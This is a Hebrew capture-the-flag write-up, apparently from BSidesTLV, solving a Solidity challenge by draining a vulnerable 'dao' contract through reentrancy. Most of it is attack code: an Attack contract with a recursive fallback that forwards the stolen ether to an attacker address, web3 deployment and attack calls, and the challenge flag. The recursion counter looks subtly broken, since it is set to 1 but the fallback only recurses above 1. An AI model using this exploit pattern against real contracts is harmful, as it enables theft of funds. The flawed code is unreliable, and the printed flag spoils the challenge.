El Profesor

תיאור

El Profesor

פתרון

pragma solidity ^0.4.23;
​
library SafeMath {
​
    /**
     * @dev Multiplies two numbers, reverts on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

​        uint256 c = a * b;
        require(c / a == b);

        return c;
    }

    /**
     * @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0); // Solidity only automatically asserts when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
​
    /**
     * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;

        return c;
    }

​    /**
     * @dev Adds two numbers, reverts on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);

​        return c;
    }

    /**
     * @dev Divides two numbers and returns the remainder (unsigned integer modulo),
     * reverts when dividing by zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0);
        return a % b;
    }
}

​
contract dao {
   using SafeMath for uint;
   mapping(address=>uint) userBalances;
   modifier oneWei() {
     require(userBalances[msg.sender] >= 1 wei);
     _;
   }

​   function getUserBalance(address user) constant returns(uint) {
     return userBalances[user];
   }
   function addToBalance() payable {
     uint currentBalance = userBalances[msg.sender];
     userBalances[msg.sender] = currentBalance.add(msg.value);
   }
   function getBalance() constant returns (uint) {
    return this.balance;
  }
​
   function withdrawBalance() oneWei() {
     uint amountToWithdraw = userBalances[msg.sender];
     if(amountToWithdraw > this.balance) {
        amountToWithdraw = this.balance;
     }
     if(msg.sender.call.value(amountToWithdraw)() == false) {
         return;
     }
     userBalances[msg.sender] = 0;
   }

   function() payable {}

}

המטרה היא לנצל חולשת אטומיות ולרוקן את החוזה מנכסיו. באותה החולשה השתמשו כנגד ה-DAO), מה שהוביל לגניבת 50 מליון דולר.

קטע הקוד הפגיע הוא:

uint amountToWithdraw = userBalances[msg.sender];
    if(amountToWithdraw > this.balance) {
    amountToWithdraw = this.balance;
    }
if(msg.sender.call.value(amountToWithdraw)() == false) {
return;
}
userBalances[msg.sender] = 0;

כפי שניתן לראות, הקוד הזה פגיע כי איפוס היתרה נעשה לאחר שההעברה מתבצעת. כאשר הסכום יכול להישלח לחוזה אחר, ופונקציית ה-fallback של אותו חוזה תיקרא.

בפונקצית ה-fallback ניתן לקרוא שוב באופן רקורסיבי ל-withdrawBalance וניתן יהיה למשוך שוב מטבעות מכיוון שהתנאי בודק את היתרה והיא כזכור עדיין לא שונתה.

לכן, המימוש של החוזה החכם שלנו שלנו יהיה:

// ...(the original dao contract code)...

contract Attack {
address attacker_address = /*attacker_address*/;
mapping(address=>uint) userBalances;
dao target;
int i;
function Attack(address a) payable{
    target = dao(a);
}

// donate some Ether to make withdraw accept
function donate() public payable {
    i = 1;
    target.addToBalance.value(msg.value)();
}    

​function get_balance() public view returns(uint) {
    return target.getBalance();
}

​function myBalance() public view returns(uint) {
    return target.getUserBalance(this);
}
​
function withdraw() public{
    target.call(bytes4(keccak256("withdrawBalance()")));
}

// Make it recursive
function () public payable{
    if(i > 1) {
        i -= 1;
        this.withdraw();
        attacker_address.transfer(msg.value);
    }
}
}

ההתקפה תמשוך את סכום ההעברה ותעביר את הסכום לכתובת של התוקף. נייצא את החוזה:

var attack_abi = /*[abi-contract]*/;
var a = fundraiser_address ;
var attackContract = web3.eth.contract(attack_abi);
var attack = attackContract.new(a,{
        from: /*attacker_address*/, 
        data: /*contract_binary*/, 
        gas: '4700000'
    }, function (e, contract){
    console.log(e, contract);
        if (typeof contract.address !== 'undefined') {
                console.log('Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
        }
    }
)

ולאחר מכן, נתקוף:

var attacker = web3.eth.contract(attack_abi).at(contract.address);
attacker.donate({value:1337000000000000000000});
attacker.withdraw()

כאשר נבדוק את היתרה, נקבל את הדגל: BSidesTLV{MiSonAlzatoOBellaCiaoBellaCiaoBellaCiaoCiaoCiao!}